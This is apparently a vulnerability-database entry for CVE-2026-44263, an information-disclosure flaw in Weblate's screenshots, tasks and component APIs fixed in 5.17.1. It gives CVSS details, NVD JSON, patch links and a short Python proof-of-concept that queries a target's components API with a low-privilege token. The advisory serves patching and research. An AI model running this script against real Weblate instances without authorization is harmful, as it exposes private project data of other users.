Security Vulnerability Report
中文
CVE-2026-44263 CVSS 4.3 MEDIUM

CVE-2026-44263

Published: 2026-05-07 15:16:11
Last Modified: 2026-05-11 17:24:45

Description

Weblate is a web based localization tool. Prior to version 5.17.1, the screenshots, tasks, and component link API allowed for the enumeration of translations in a project inaccessible to the user. This issue has been patched in version 5.17.1.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:* - VULNERABLE
Weblate < 5.17.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target Weblate instance URL target_url = "https://target-weblate-instance.com/api/" # Low privilege user token auth_token = "LOW_PRIVILEGE_USER_TOKEN" headers = { "Authorization": f"Token {auth_token}", "Content-Type": "application/json" } # Exploit: Accessing components API to enumerate inaccessible projects # Vulnerable endpoints may include /api/screenshots/, /api/tasks/, /api/components/ endpoint = "components/" try: response = requests.get(f"{target_url}{endpoint}", headers=headers) if response.status_code == 200: data = response.json() print("[+] Successfully retrieved data via API.") print("[+] Dumping potentially sensitive project/translation info:") # Check results for items that should not be accessible for item in data.get('results', []): project_name = item.get('project', {}).get('name', 'Unknown') component_name = item.get('name', 'Unknown') print(f"Project: {project_name} | Component: {component_name}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44263", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:10.613", "lastModified": "2026-05-11T17:24:45.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Weblate is a web based localization tool. Prior to version 5.17.1, the screenshots, tasks, and component link API allowed for the enumeration of translations in a project inaccessible to the user. This issue has been patched in version 5.17.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-203"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:weblate:weblate:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.17.1", "matchCriteriaId": "883115A9-8BF0-460B-B711-BDC6C4FCBE10"}]}]}], "references": [{"url": "https://github.com/WeblateOrg/weblate/commit/6cf892c7bd50b667a65a99d716a90694f7d9f203", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/pull/19258", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/WeblateOrg/weblate/releases/tag/weblate-5.17.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/WeblateOrg/weblate/security/advisories/GHSA-gcg5-86jr-f7jg", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}